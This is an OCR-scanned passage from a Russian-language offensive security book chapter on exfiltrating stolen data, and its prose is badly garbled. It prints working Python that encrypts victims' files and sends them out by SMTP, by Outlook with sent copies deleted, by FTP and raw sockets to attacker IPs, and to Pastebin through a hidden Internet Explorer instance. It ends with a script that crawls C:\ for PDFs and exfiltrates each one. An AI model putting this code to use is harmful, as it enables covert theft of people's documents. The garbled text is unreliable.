HBIM 00pa30M reHeprpyeM KJI04 ceaHca 1 mindpyem © cKaThiil TEKCT € TIOMOTIHIO
mmmdpa AES @. Teriepb HY:KHO BEPHYTb KJIIOU CEaHCA BMECTE € 3aiiinPOBAHHBIM
TEKCTOM, YTOOBI MOCJIEIHII MOKHO ObLIO paciudpoBaTh Ha Apyroi cropoe. st
aTOTO MBI MHUdPyeM KII0U ceanca ¢ ucrnoab3oBanneM RSA-kioua, crenepupo-
BaHHOTO U3 cofiep:kuMoro dafina key . pub @. Bes madopmManust, KOTOPYIO HY:KHO
Oynet pacindpoBaTh, IOMEIIAETCS B IepeMeHHy 0 msg_payload ©, Koxupyemyio
B (hopmarte base64 u Bo3BpaiaemMyio B Bujie UTOTOBOM 3aIndpoBaHHOI CTPOKU O.

Temreps Hanuiem GyHKINIO decrypt:

def decrypt(encrypted):
encrypted_bytes = BytesIO(base64.decodebytes(encrypted)) ©
cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri')

encrypted_session_key = encrypted_bytes.read(keysize_in_bytes) @
nonce = encrypted_bytes.read(16)

tag = encrypted_bytes.read(16)

ciphertext = encrypted_bytes.read()

session_key = cipher_rsa.decrypt(encrypted_session_key) ©
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag) @

plaintext = zlib.decompress(decrypted) ©
return plaintext

Jliist pactimpOBKU MBI BBITIOJTHSEM Tar U3 GyHKIMK encrypt B 00paTHOM M0~
psiake. CHavasra mpeobpasyeM CTPOKY, 3aKOJNPOBAHHYIO Kak base64, B Gaiiter @.
3atem cunThiBaeM U3 paciidpoBanioil 6aiiToBoil cTpoku @ 3amubpoBaHHbIT
KJIIOU CceaHca BMeCTe ¢ IPYTMMHU [TapaMeTpaMy, KOTOPble HY>KHO paciimgpoBaTh.
PacuudposbiBaeM Kiiod ceanca ¢ moMolibio 3aKpbiToro RSA-kioua © u ncnoJin-
3yeM TIOJIy4YeHHBIH pe3yasTaT B codetannu ¢ mudpom AES nng pacmmdposkn
camoro coobiennst @. B KoHIle paciakoBbIBAEM TIOJYIEHHOE B DAl TOBYIO CTPOKY,
HPE/ICTABIISIONIYIO CO00iT OOBIYHBIN TEKCT ©, 11 BO3BPAIaeM ee.

Tenepb, 4TOOBI MPOTECTUPOBATH HAIKM (HYHKIIMU, BOCIIONb3YEMCS CJIEAYIOIUM
OJIOKOM KOJIA;

if __name__ == '__main__":
generate() O

OTKPBITBII 1 3aKPBITHIN KIOYN reHepupytorcst BMecte @. Mbl TPOCTO BBI3BIBA-
eM GyHKIHUIO generate, MOCKOJIBKY, 4TOOBI MOIB30BATHCS KJIOYAMH, X CHAYAIA
HY’KHO CO3/1aTh. Terepb MOJKeM OTPEIaKTHPOBATH TIABHBIN OJIOK:
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if __name__ == '__main__':
plaintext = b'hey there you.'
print(decrypt(encrypt(plaintext))) ©

CreneprpoBaB KJII0UH, MBI TITH(PYyeM U paciiiudpoBbiBaeM HEOOIbIIYI0 6all TOBYO
CTPOKY ¥ BBIBOJIUM pe3yJibTar @.

BbiBO4 MOXMUEHHbIX AAHHbIX
no 3N1eKTPOHHOM nouTte

WTax, MpI MOsKeM JieTKO ¢ poBaTh 1 pacmudpoBbBaTh HHbopManuio. Termepnb
JlaBafiTe CO3/1aJIMM MEXaHNU3MBI /71T BBIBOJIA M3 CCTEMBI TOTO, UTO 3aITnu(poBasIu.
Cosmaiite ckpunT email_exfil.py, ¢ MOMOIIBIO KOTOPOTO OYIEM OTIIPABJISATH 3a-
b poBaHHBIE TAHHBIE TIO 9JIEKTPOHHO TTOYTE:

import smtplib ©
import time
import win32com.client @

smtp_server = 'smtp.example.com' ©
smtp_port = 587

smtp_acct = 'tim@example.com'
smtp_password = 'seKret'

tgt_accts = ['tim@elsewhere.com']

Mbr ummoptupyem 6ubaoTeKy smptlib, ¢ TOMOIIBIO KOTOPOH HATIMIIIEM KPOCC-
mraT(hopMeHHYI0 (HYHKIHIO st pabOTHI ¢ 9JIeKTpOHHOI TTouToil @. [[71s co3-
nanust GYHKIMK, pacCYIUTaHHOM ToIbKO Ha Windows, BocIoibayeMcs akeToM
win32com @. /[y mpuMenenns MOYTOBOTO KIMEHTA HAM HYKHO TOIKIIOYUTHCS
Kk SMTP-cepsepy (Simple Mail Transfer Protocol — mpoctoii poTokos riepeaym
MOYTHI), HATPUMEP K smtp.gmail.com, eci y Bac ecTb yderHas 3amuch Google,
MTO3TOMY YKa3bIBaeM Ha3BaHWeE CePBEPA, TOPT, HA KOTOPOM OH ITPUHIMAET COe/IN-
HEHUS, UM TTOTb30BaTess 1 maposb ©. Temeps nanmieM kpocc-maTdhopMeHHyT0
(pynximio plain_email:

def plain_email(subject, contents):
message = f'Subject: {subject}\nFrom {smtp_acct}\n' ©
message += f'To: {tgt_accts}\n\n{contents.decode()}"'
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_acct, smtp_password) @

#server.set_debuglevel(1)
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server.sendmail(smtp_acct, tgt_accts, message) ©
time.sleep(1)
server.quit()

Jlannast hyHKIMsI IPUHUMAET Ha BXOJL subject u contents, hopmupyst coobiie-
nue @, cogepikaiee Kak caM TeKCT, Tak u uadopmanuio 06 SMTP-cepsepe. I[Toae
subject Gy/eT caysKUTh UMeHeM (aiijia ¢ JaHHBIME, COOPAaHHBIMU Ha KOMITBIOTEPE
JKEPTBHI. contents — 9TO 3amudpoBaHHas CTPOKa, KOTOPYIO BepHyaa (PyHKITHS
encrypt. JlJist ynieii cekpeTHOCTH 3aindpPOBAHHYIO CTPOKY MOKHO ObLIO ObI 110-
cJIaTh B Ka4ecTBe TeMbl co00IeHust (subject).

Jlajibiire Mbl HOAKJIIOYAEMCST K CEPBEPY 1 IPOXOANM ayTeHTU(DUKAIIIIO, UCTIONb3Y ST
UM 1 TIapOJIb Hallleil yueTHol 3amicy @. 3aTeM BbI3biBaeM METO/] sendmail co cBO-
UMM yYETHBIMU JaHHBIMU, aJipecaMu HoJIydaresieil u caMum coobienneM ©. Ecim
y BaC BOBHUKHYT KaKKe-JIn00 poGIeMbl ¢ 9TUM BbI30BOM, MOJKETE YCTAHOBUTD aTPH-
OyT debuglevel, 4TOOBI TOHAOJIIOIATH 32 COCTOSTHUEM COETUHEHMUST B CBOEH KOHCOJIH.

Tenepp Harmiem (hyHKITHIO, KOTOpast GY/IET A€IaTh TO JKe caMoe, TOJIbKO B Windows:

def outlook(subject, contents): @
outlook = win32com.client.Dispatch("Outlook.Application") @
message = outlook.CreateItem(9)
message.DeleteAfterSubmit = True ©
message.Subject = subject
message.Body = contents.decode()
message.To = tgt_accts[0]
message.Send() @

Dynkuust outlook IPUHUMAET Te JKe apryMeHTbI, 4TO U plain_email: subject
u contents @. MbI KCITOJIB3y€EM TTAKeT win32com, 4TOOBI CO3/IaTh SK3EMILIISIP ITPH-
noxenust Outlook @, 1 06s13aTETBHO YIATIsIEM DJIEKTPOHHOE TIHCHMO CPasy MOCe
ormpaBky ©. Takum 06pa3soM MbI FapaHTHUPYEM, YTO TT0JH30BATEb B3JIOMAHHOTO
KOMIIBIOTEPA He YBUAUT MUCHMO ¢ COOPAHHBIMU TAHHBIMHY B MAKax OTNPaBneHHbIe
coobLeHust 1T YAaneHHsle coobienms. [locsie 5Toro oTmpasiisieM cooOIeHune, TTPe/-
BapUTEIHHO YKa3aB €0 TEMY, COIIEPKUMOe U ajipec rmoyvaresis @.

B riiaBHOM 6J10Ke MbI Bbi3biBaeM (hyHKIUIO plain_email, 4TOOBI TPOBECTH He-
GOJIBIIYIO TIPOBEPKY (DYHKIIMOHATBHOCTH:

if __name__ == '__main__':
plain_email('test2 message', 'attack at dawn.')

OrnpasuB 3ammu@poBaHHbIH (Haiia Ha CBOI KOMIIBIOTEDP C TTOMOMIBIO 3TUX (DYHK-
Ui, OTKPOIiTe CBOM IOYTOBBINA KJIMEHT, BbIOEPUTE TIOJYyUEeHHOE COOOIeHNe
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U CKOMMUPYHTE €ro B HOBBIHA (haiii. 3aTeM BbI CMOKETE €TO MPOYUTATDH JJIs
JasbHeleil pacim@poBKU ¢ UCIOIb30BanneM QyHKIUKU decrypt u3 aiina

cryptor.py.

BbiBOA NMOXMLEHHbIX ACGHHbIX MyTeM
nepeaauu $amnos

Cosmaiite daii transmit_exfil. py, ¢ TOMOIIBIO KOTOPOTO MBI OY/I€M OTIIPABJISITH
3amuppoBaHHyI0 UHGOPMAITHIO TT0 TTpoToKoIy FTP:

import ftplib
import os

import socket
import win32file

def plain_ftp(docpath, server='192.168.1.203"'): ©
ftp = ftplib.FTP(server)
ftp.login("anonymous", "anon@example.com") @
ftp.cwd('/pub/') ©
ftp.storbinary("STOR " + os.path.basename(docpath), @
open(docpath, "rb"), 1024)
ftp.quit()

Mbi umnioptupyem 6ubanoreky ftplib, koTopast GyIeT UCIOIb30BAThHCS 1JIsT Ha-
nucanus Kpocc-matrhopmennoit pyuriuu., OyHKIMS, pacCYUTaHHAS TOJHKO HA
Windows, 6yer ocHoBaHa Ha win32file.

Mbl, aBTOpPBI 9TOI KHUTH, HAcTpauBaeM B cBoell cucteme Kali FTP-cepsep Tax,
4TOOBI OH IPUHUMAJ AaHOHUMHO 3arpy:kaembie daiiybl. B dyHkimn plain_ftp
nepeziaeM MMy Th K (haiimy, KOTOPBIN HyKHO oTripaBuTh (docpath), m [P-agpec FTP-
cepsepa (cucrempr Kali), mpucBoenmbiii iepementoii server @.

Bubsmoreka ftplib MO3BOJISIET JIETKO COEIMHUTBCS C CEPBEPOM, ayTeHTU(HHIIN-
poBarbecst @ U HepeiiTH B HY KHYTO MKy ©, B KOTOPYIO B UTOre OyAeT 3anucan
nar aiin @.

transfer — 3T0 aHAJIOT IAHHOMN (DYHKIMH, TIPEIHA3HAYEHHBIN TOJBKO /1t Windows.
OH npuHUMaeT My Th K Haiiay, KOTOPBIF MBI XOTUM OTIIPaBUTH (document_path):

def transmit(document_path):
client = socket.socket()
client.connect(('192.168.1.207', 10000)) @
with open(document_path, 'rb') as f:
win32file.TransmitFile( @
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client,
win32file._get_osfhandle(f.fileno()),
0, 0, None, @, b'', b"'")

Touno Tak e, Kak 3TO AEJTATOCHh B TJIaBe 2, MbI OTKPBIBAEM COKET JIJIs TIPO-
CHIYITMBAHUST HA KOMIIBIOTEPE, KOTOPBIIT BBITIOJIHSIET aTaKy, UCIOIb3Ysl JT060i
HOPT Ha CBOi1 BbIOOP — 3z1€ech 510 1opT 10000 @. 3aTeM ucnonb3yem GyHKIIHO
win32file.TransmitFile, uTo6bI epeaaTh (aiin @.

B rimaBnoM 6J10Ke IIPOBOAKUTCS IIPOCTAst IPOBEPKA B BUJE IIPOOHOI OTIIpaBKu (paiiia
(B HarIeM ciiydae mysecrets.txt) Ha IPOCIYIIMBAIONINNI KOMIIBIOTED:

if __name__ == '__main__":
transmit('./mysecrets.txt")

[Ipunas sammdpoBanabIii (hails, MbI MOKEM €T0 TIPOYNTATD U pacn@poBaTh.

BbiBOA NOXULEHHbIX ACGHHbLIX € MOMOLYbIO
Beb-cepBepa

Jlasaiite co3namim daiin paste_exfil.py, 4ToOBI TepeaBath 3ani(pPoOBaHHY IO
uHbopmaimio Be6-cepepy nocpeacrsom POST-3anpoca. Mbl aBTOMaTU3NPyeM
MIPOIIeCce 3arpy3Ku 3anuPOBAHHOTO JOKYMEHTA B YUeTHYIO 3aITUCh https://pastebin.
com/. ITO MO3BOJIUT HAM TAHO COXPAHUTH TOKYMEHT B UHTEPHETE U 3a0PaTh €r0
B Ji1000€ y100HO€E BpeMst, HO Tak, 4T0ObI HUKTO JAPYroil He CMOT ero paciumdpo-
Barhb. K TOMY JKe 3a cyeT MCIob30Banust 001en3BECTHOTO Beb-caiiTa, TaKOro Kak
Pastebin, Mbl 10JKHBI 000UTH JTIOOBIE YePHbIE CITUCKHU, UCIOJIb3yeMble OpaHaMays-
POM WJIU TIPOKCH-CEPBEPOM, — ecJint Obl 3ajieiicTBOBasM 1 P-ajipec nim npuHajiie-
JKaluii Ham BeG-cepBep, OTIIPaBKa JOKyMeHTa MOTJIa Obl ObITh 3a0JIOKUPOBaHA.
Jluist Hayasia HAITMIIIEM B CBOEM CKPHIITE HECKOILKO BCIIOMOTATENbHBIX (hYHKITHIL.
Otkpoiite daiin paste_exfil.py u HabepuTe CJAEAYIONIT KO

from win32com import client ©

import os

import random
import requests @
import time

username = 'tim' ©
password = 'seKret'
api_dev_key = '"cd3xxx001xxxx02'
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MpbI nMIIOpTHpPYEM MOZYJTh requests Jis Kpocc-TimaTdhopMeHHol hyHKITNN @
u Kkjacc client u3 win32com ays GyHKIMK, opueHTHpoBaHHoi Ha Windows @.
Ayrentuduimpyemcst Ha BeO-cepsepe https://pastebin.com/ u 3arpysum sammdpo-
BaHHYIO CTPOKY. UTOOBI BBIIOJTHUTD ay TeHTU(DUKAIINIO, OTIPEICIUM [IepeMEHHbIE
username, password 11 api_dev_key ©.

Nrtak, MbIl IMIIOPTUPOBAJIN HY>KHbBIE MOLYJIU U OIIPE/IETUIIN TTapaMeTpbl. Terepsb
HanuieM Kpocc-maTdhopMeHHyo GyHKIN plain_paste:

def plain_paste(title, contents): ©
login_url = '"https://pastebin.com/api/api_login.php"'
login_data = { ®
'api_dev_key': api_dev_key,
'api_user_name': username,
'api_user_password': password,
¥
r = requests.post(login_url, data=login_data)
api_user_key = r.text ©

paste_url = 'https://pastebin.com/api/api_post.php' O
paste_data = {
'api_paste_name': title,
'api_paste_code': contents.decode(),
'api_dev_key': api_dev_key,
'api_user_key': api_user_key,
'api_option': 'paste’,
'api_paste_private': o,
¥
r = requests.post(paste_url, data=paste_data) ©
print(r.status_code)
print(r.text)

plain_paste, Kak 1 IPeIbIAYINIE TIOYTOBBIE (DYHKITNU, TPUHUMAET B KAUeCTBE ap-
TYMEHTOB M3l (haiisia, KoTopoe GyIeT Urpath POJIb 3ar0JI0BKA, 1 3aMi(POBaAHHOE
cozepsknmoe @. UroObl omyOIMKOBaTh (DparMeHT OT CBOETO MMEHM, BaM HY’KHO
ciesath nBa 3ampoca. Cunauana cienyer mociaatb POST-3ampoc API login, ykasas
username, api_dev_key u password @. B oTBeT Bbl IOJIyunTe KJIIOY api_user_key,
HEeOOXOIMMBIiT J17Is1 yOsinKaluu (hparMenTa ot cBoero nmenn ©. Bropoii sampoc
Oyner HarpasyieH K AP post @. Ykaskure HazBaHue (hparMeHTa (Mbl HCIIOJIb3YyeM
M4 Gaiisia) 1 ero copepRIMoe, a Takxke cBon API-kmoun user 1 dev ©. Korma
dyHKIMA 3aBepiIuT paboTy, BOWIKXTE B CBOIO YYETHYIO 3allMCh Ha caiiTe https://
pastebin.com/ — BBI JJOJZKHBI YBU/IETH CBOM 3alndpoBaHHble JaHHbIe. MoskeTe
CcKauyaTh 9TOT ParMeHT HA CBOEH NH(MOPMAIMOHHON MAHEJH JIJIsT TOCJIe/IYIOIei
pacipoBKH.
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Terepp HATIMIIIEM AHAJIOTUYHYIO (DYHKITUIO JIJIs1 TTyOITMKAInK (hparMeHTOB JTaHHbBIX.
Omna 6yzer paborarb Tosibko B Windows u ucnosnbsosars Internet Explorer. [la,
BaM He moKasanochk. HecMoTpst Ha To uTo Takue Gpaysepsl, kak Google Chrome,
Microsoft Edge u Mozilla Firefox, mosbsyiorcst cerost 601bliei oIy asipHOCTbIO,
Internet Explorer mo-npeskHemy siBJisieTcst Gpay3epom 110 YMOJTYaHUIO BO MHOTHX
KOPIOPATUBHBIX OKPY/KEHUsIX. V1 KOHEUHO, He CTOUT 3a0BIBATH, YTO MHOTHE BEPCUH
Windows me mossoistior yaaauth Internet Explorer, moatoMy maHHBIH MOAX0.T
MOJKeH OBbITh tocTyTieH BamieMy Windows-TposiHy TouTH Beer/a.

JaBaiite mocMoTpuM, Kak ¢ nomoinpio Internet Explorer moxkHo BbIBECTH 110-
XUIeHHY0 nHGopManuio u3 atakyemoit cetu. Kapum Hatoo, Hamn kanaackuit
KoJiera B cepe ncciejoBatusi 6e30MacHOCTH, OTMEYAET, YTO Y aBTOMATH3AIUN
BBIBOJIA IIOXUIEHHBIX JAaHHBIX U3 ceTy Ha ocHose Internet Explorer COM ectb
YyJIeCHOE IIPEUMYIIECTBO, COCTOSIIIEe B UCII0JIb30BaHKY Tpolecca Iexplore. exe,
KOTOPBIN 00BIYHO BHECEH B O€JIble CIIUCKHU U TI0JIb3YETCsT IOBEPUEM crcTeMbl. J{jist
Havasa HaluIIeM HeCKOJbKO BCTIOMOTATeNbHBIX (DYHKITHIL:

def wait_for_browser(browser): ©
while browser.ReadyState != 4 and browser.ReadyState != 'complete':
time.sleep(0.1)

def random_sleep(): @
time.sleep(random.randint(5,10))

[TepBast 3 aTux yHKIUN, wait_for_browser, cieauT 3a TeM, 4TOOBI Gpaysep 3a-
BepI 06paboTKy Beex cBoux coObituii @, a Bropast, random_sleep @, nenaer
TaK, 4ToObI TIOBeIeHIe Gpay3epa BBITJISIEI0 CIyYailHbIM, He MOXOKIM Ha 3aIpo-
rpaMMUPOBaHHOeE. random_sleep OCTaHABIMBAETCA HA TIEPUOJT CTYYalHOH JITTUHE,
9TO TI03BOJIsIET Opay3epy BBITIOJHITH 3a[aHNsT, COOBITHSI B KOTOPBIX MOTYT HE pe-
TUCTPUPOBATHCS € TIOMOIIBI0 00BEKTHOI Mozies fokyMenTa (Document Object
Model, DOM) u, ciienoBaTesibHO, He CUTHAJU3UPOBATH O CBOEM 3aBEPIIEHUN.
ITO TaKKe JlesIaeT MoBeieHre Opay3epa 4y Th OOJIbIIE MTOXOKIM Ha YeJI0BEYECKOE.

VTak, Mbl HalycaIu BCIIOMOTaTe bHble (DyHKIMK. Terepsb 100aBUM JIOTUKY JIJIsT
ayTeHTU(DUKAIIMU U HAaBUTAIMU 110 WHGopMmannonnoii maneau Pastebin. K co-
SKAJIEHUIO, OBICTPBIX ¥ IIPOCTHIX METOJIOB IIOMCKA 9JIEMEHTOB M0Jb30BATEIbCKOTO
uHTepdeiica Ha BeO-CTpaHUIIAX MOTPOCTY HE CYIIECTBYET (aBTOPBI MTOTPATHIN
nosyaca, aHanusupyst HTML-ssieMeHTbI, ¢ KOTOPBIMHU HaM HYKHO ObLJIO B3aMO-
ZeiicTBOBATD, ¢ moMoInbio Firefox u koncomu a1 paspaboTunkos). Eciau xoTure
3a/IeiCTBOBATD JAPYTYIO CIY:KOY, TO BaM TIPUAETCST CAMOCTOSITETBHO OTPEIETITD,
kakre HTML-ssieMeHTBI HY>KHBI, @ TAK)Ke KaK 1 KOT/Ia CJle/lyeT B3anMo/IeiCTBOBATD
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¢ DOM. K cuacrsbio, 8 Python atot atarm MoKHO OYeHB JIETKO aBTOMATH3UPOBATb.
JlobaBuM elie HEMHOTO KOJIa:

def login(ie):
full doc = ie.Document.all ©
for elem in full_doc:

if elem.id == 'loginform-username': @
elem.setAttribute('value', username)
elif elem.id == 'loginform-password':

elem.setAttribute('value', password)

random_sleep()

if ie.Document.forms[@].id == 'w@':
ie.document.forms[0].submit()

wait_for_browser(ie)

Oyuknus login mepBBIM eI0M U3BIeKaeT Bee asmeMenTsl B DOM @. Ona uier
II0JIST ¢ UMEHEM I10JIb30BaTeIsI U IapojieM @, IIprcBanBasi UM IIPe0CTaBIeHHbIE
HaMU yYeTHbIe JaHHble (He 3a0y/bTe 3aperucTpuposarbest). [locsie BbIoTHeHUsT
ATOTO KOJIa BbI JOJIKHBI TTOTACTh Ha WH(MOPMAIMOHHYIO MaHeb Pastebin u 6bITh
TOTOBBI K IyOJIUKAIMK JaHHbBIX. /[06aBUM COOTBETCTBYIOIINI KO/

def submit(ie, title, contents):
full_doc = ie.Document.all
for elem in full_doc:

if elem.id == 'postform-name':
elem.setAttribute('value', title)
elif elem.id == 'postform-text':

elem.setAttribute('value', contents)

if ie.Document.forms[0].id == 'w@':
ie.document.forms[0].submit()

random_sleep()

wait_for_browser(ie)

B aTom Kojie BaM yike BCe JTOJKHO OBITH 3HAKOMO. MBI TIPOCTO TIPOXOAUMCS TI0
DOM, uTo6bI HAlTH MeCTa, B KOTOPBIX MOJKHO YKa3aTh 3aT0JIOBOK U TEJIO Ty 0JI-
Kyemoro ¢pparmenTa. OyHKINA submit MPUHUMAET 9K3eMILISIP Opay3epa BMeCTe
C UMeHeM U COJIePKUMBIM 3armn@poBaHHOTO (haiiiaa, KOTOPBIH HY;KHO OTIIPABUTE.

Wraxk, mbl Bouwau B Pastebin u Beimonnuan POST-3anpoc. Teneps gobaBum
B CKPUIIT 3aBEPINAIONINE TITPUXH:

def ie_paste(title, contents):
ie = client.Dispatch('InternetExplorer.Application') ©
ie.Visible = 1 @
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ie.Navigate('https://pastebin.com/login")
wait_for_browser(ie)
login(ie)

ie.Navigate('https://pastebin.com/")
wait_for_browser(ie)
submit(ie, title, contents.decode())

ie.Quit() ©

if __name__ == '__main__":
ie_paste('title', 'contents')

(DyHKL[I/IH ie_paste BBI3BIBAETCA 7151 KOKIOTO AOKYMEHTA, KOTOPBIN MBI XOTUM
coxpanuth B Pastebin. Buauyane ona cozmaer nossiit COM-o06bekT Internet
Explorer @. MbI camu MOKeM periiath, OyIeT Mpoiece BUANMbBIM Wi HeT @, 4To
Hersoxo. Ha BpeMst 0TJIajiki ocTaBbre 3HaUY€eHHe 1, HO KOT/Ia BaM HysKHa Oy/IeT Mak-
CUMaJIbHasI CKPBITHOCTD, 00sI3aTEIbHO OMEHSIITE €ro Ha 8. ITO MO-HACTOSIIEMY
MI0JIE3HO B CUTYAIMsX, KOT/IA Balll TPOSIH, K IIPIMEPY, CJAEIUT 32 MTPOUCXO/SIINM
B CUCTEME, — Bbl MOJKETE Ha4aTb I€epeady JOKYMEHTOB B MOMEHT ITOBBIIIIEHHOMN
AKTHUBHOCTH, I{TO6I)I Baliun I[efICTBI/Iﬂ €Ie Jiyviie CJinBaJanchb C HeﬁCTBHHMH I10JIb-
3oBaresisi. Bei3BaB Bce BeromMorarebHble GYHKITUN, MBI IPOCTO YIAAISIEM CBOI
sk3emiisip Internet Explorer ® u 3aBepiraem pabory.

Cobupaem Bce BmecTe

B 3aBeplureHmne nmoMeCTuM BCE TOJIbKO YTO HallMCaHHbIE METO/Ibl BbIBO/lA ITOXW-
IMEHHbIX JaHHbIX 3a IIpeejbl CUCTEMbI B CKPUIIT exfil. py, KOTOprﬁ IIO3BOJIUT
BbI3BaTb JIIO6OI>1 N3 HUX:

from cryptor import encrypt, decrypt ©

from email_exfil import outlook, plain_email
from transmit_exfil import plain_ftp, transmit
from paste_exfil import ie paste, plain_paste

import os

EXFIL = {®
'outlook': outlook,
'plain_email': plain_email,
'plain_ftp': plain_ftp,
"transmit': transmit,
'ie_paste': ie_paste,
'plain_paste': plain_paste,

}
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Buavasie umMnoptupyeM MoayJiu U (yHKIIMU, KOTOPbIe BbI TOJBKO YTO HAIU-
camn @. 3ateM cosziaeM cjaoBapb EXFIL, 3HAY€HUsI KOTOPOTO COOTBETCTBYIOT
UMIIOPTUPOBAHHBIM (DYHKIMSAM @ . ITO CYIIECTBEHHO YIIPOCTUT BHITIOJHEHIE
Pas3IMYHBIX BEI30BOB JIJIs BBIBO/IA JIAHHBIX 32 TIPE/IEJIbI CCTEMBL. MBI C/1eJ1a/Ii TaK,
4TOObI 3HAYEHMSI COBMAANN ¢ MeHamMu (DyHKIMH, Tak Kak B Python dyukiun
SIBJISTIOTCST TIOJTHOTIEHHBIMU 3JIEMEHTAMU SI3bIKA ¥ MOTYT HCITOJIb30BATHCS B Kave-
CTBE TTapaMeTPOB. DTOT TOAXO0/l MHOT/IA HA3BIBAIOT JuUcnemuepusayueti Ha ocHose
cnosaps (dictionary dispatch). ITo mpunIumy cBoeil paboThl OH OUEHb MTOX0XK Ha
MHCTPYKIIUIO Case B JIPYTUX sI3bIKAX.

Temneps HyKHO cO37aTh (QYHKIINIO /IS TOMCKA IOKYMEHTOB, KOTOPbIE MBI XOTUM
MTOXUTHUTB!

def find_docs(doc_type=".pdf"):
for parent, _, filenames in os.walk('c:\\'): @
for filename in filenames:
if filename.endswith(doc_type):
document_path = os.path.join(parent, filename)
yield document_path @

Teneparop find_docs o6xoaut Bcio (aitnoByio cucremy B moricke PDF-mgokymen-
toB ©. Hafizs Takoii TOKyMeHT, OH BO3BpAIlaeT MOJHBIH Ty Th K HEMY U ITepeaeT
[OTOK BBITIOJTHEHKsI 0OPaTHO BbI3bIBAIOIIEH CTOPOHE @.

Teneps cospamiM riaaBHyo GyHKIIO, ITOOBI OPraHI30BATH TPOIIECC BHIBO/A CO-
GpaHHOil mHGOPMAIUH:

def exfiltrate(document_path, method): ©
if method in ['transmit', 'plain_ftp']: ®
filename = f'c:\\windows\\temp\\{os.path.basename(document_path)}"
with open(document_path, 'rb') as f0:
contents = f@.read()
with open(filename, 'wb') as f1:
fl.write(encrypt(contents))

EXFIL[method](filename) ©
os.unlink(filename)

else:
with open(document_path, 'rb') as f: @

contents = f.read()

title = os.path.basename(document_path)
contents = encrypt(contents)
EXFIL[method](title, contents) ©

Mpz1 nepeaem pyHKINY exfiltrate myTh K JOKYMEHTY U METO/I TlePeIaun JAaHHBIX,
KOTOPBIH XOTUM UCTIOb30BaTh @. Eciu peus et o mepemade ¢aiiyios (transmit
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uu plain_ftp), Hy;KHO TIpe10CTaBUTh caM (haiis, a He 3aKOIUPOBAHHYIO CTPOKY.
B aToM cirydae MbI YMTaEM €TO COMEPKMMOE, MNMPYEM €r0 1 3alMChIBAEM B HO-
BbIii (aiin Bo BpeMeHHoil manke @. Mbl obpanjaeMcs K caoBapio EXFIL, 4ToObI
BBI3BATh COOTBETCTBYIOIIMIT METOJI, TEPEAAEM MY IIyTh K HOBOMY 3aliupoBaH-
HOMY JIOKYMEHTY, KOTOPBIN HY;KHO BBIBECTH M3 CUCTeMbI ©, 1 yrassem daiin u3
BPEMEHHON TaIKU.

[Ipu ucnonp3zoBaHUU APYTUX METOIOB HET He0OXOMMOCTH B CO3/JaHUM HOBBIX
(hailyioB — 10CTaTOYHO OYAET IPOYUTATD YiKe CYIIeCTBY oIl (haiin @, sammud-
pPOBaTh €ro CoAEPKUMOe U 0OPATUTHCI K CJA0Bapio EXFIL, 4TOObI OTIIPABUTh
sammnpoBaHHOE COAEPKUMOE IO DJIEKTPOHHON M0YTe MK OIyOJUKOBAThH €ro
Ha Pastebin ©.

B riiaBrOM 6710Ke MbI iepebupaeM Bee HaliJieHHbIe IOKYMEHTBI U B KAUeCTBe IPO-
BEPKHU OTIIPaBJIsieM MX ¢ TIOMOIIbI0 MeTojia plain_paste. MoskeTe BbIOpaTh 000
n3 1mectu GYHKIIH, KOTOPBIE MBI OTIPEJICIIVIIN:

if __name__ == '__main__':
for fpath in find_docs():
exfiltrate(fpath, 'plain_paste')

MpoBepka HanucaHHOro

ITOT KOJI COCTOUT U3 MHOKECTBA JIEMEHTOB, HO CaM UHCTPYMEHT JIOBOJIBHO TIPOCT
B ncmorb3oBauuu. [IpocTo 3amyctute cBO# CKPUNT HA aTaKyeMOM KOMITBIOTEPE
U IO’KIUTECh, KOT/IA OH TIOJITBEPAUT YCIIENTHOE TIOXUTIIEHNE TaHHBIX TI0 9JIEKTPOH-
noti noute, FTP nnu ¢ momouisio Pastebin.

Ecau Internet Explorer ocranercst BUAMMBIM TP BBIMOJTHEHUH (DYHKIIUN
paste_exfile.ie_paste, BBI cMOXKeTe HAOMIOATD 32 BCEM mnpoiieccoM. B koHiie,
OTKPBIB CBOIO CTPaHUILy Ha caiiTe Pastebin, BbI 1OKHBI YBUIETH HEUTO TOXOKEE
Ha puc. 9.1.

Otmano! Ham ckpunt exfil.py mamen PDF-gokymenT moa nHazBanmem topo_
post . pdf, 3anmdpoBa eTo CofeP;KUMOe U 3aTPY3UJT €T0 Ha caifT pastebin.com. Uro-
OBl YCIIEITHO pacindpoBaTh 9TOT (aii, ero HyKHO CKayaTh 1 epeaaTh (yHKIUN
pacirndpoBKH, Kak IIOKa3aHo JaJiee:

from cryptor import decrypt

with open('topo_post_pdf.txt', 'rb') as f: ©
contents = f.read()

with open('newtopo.pdf', 'wb') as f:
f.write(decrypt(contents)) @
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< C QR O at /pastebin.com/y see w
) escr @8 Google Nows ﬁ memeeorandum W The Weoek shodan [ useful bhp
© PASTEBIN  [W5) v =
topo_post.pdf
TIARNO JUL 28TH, 2020 & NEVER [ TveET |
text 407.37 KB raw download clone embed report print  edit  delete

1. b/ezYheWcRtlxWbrHhsEuMObRwx0sB5UBTSUgg@EPHWnmkH18/SkdWRozE+PSwePDONVC2FRaltF
2. tXAHglbpHasDz5iLcSk/K+rjyyeuvCM/ms+RUkkXwHInsVhHEEND TWWCKBEUrCaodF ] S1vVS0Vmg
3. KEN2oTxjprSRAec iARWE4vwRe PCRvULBWEMSEZd 1989 150 FXxVXIARAHAKAPKSTWS g7 Lod tubY aWT
1. imrLzeqxEShalé/lawZXTIojwSlgYWizl2/MRpS3ZLANEBALayArXddwt/qPWBT tdLCt+NBSDSGU
5. Rg2WIBKUJGA4RTE2EynKqGUDQHRCH3jLImbI74cTK2tPsnBBco@ZuGIqmdbalidY j LFLROMLN/PT
G.| 075whhCLNGULiLhaq3jvLesAthsjHLROXUIWH] ecaMzgvruQOKNSIOTIONOLVAXCIL

Puc. 9.1. MoxumweHHslie 3awmdposaHHele aaHHble Ha Pastebin

ITOT (hparMeHT Kojia OTKpbiBaeT (hailsr, ckavaHublii ¢ Pastebin @, u pacimdposbi-
BaeT ero COJIePKUMOe, COXPaHsIs ero Ha IMCK @. OTKPBIB HOBBIH (hailsr ¢ TOMOIIBIO
nporpammbl 1t ipocMoTpa PDE Bol monyunTe pacumndpoBannyio Tornorpagude-
